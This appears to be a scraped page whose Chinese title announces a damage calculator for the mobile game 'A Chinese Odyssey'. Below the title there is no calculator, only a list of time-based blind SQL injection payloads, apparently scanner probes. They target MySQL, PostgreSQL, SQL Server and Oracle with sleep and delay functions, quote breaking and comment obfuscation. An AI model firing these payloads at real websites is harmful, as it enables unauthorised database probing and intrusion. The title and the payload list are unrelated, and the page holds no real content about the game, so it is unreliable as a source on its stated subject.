实用工具：《大话西游》手游强力克伤害计算器

(select*from(select+sleep(2)union/**/select+1)a)

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

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123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

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123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

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123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

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123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

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123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',0)='d

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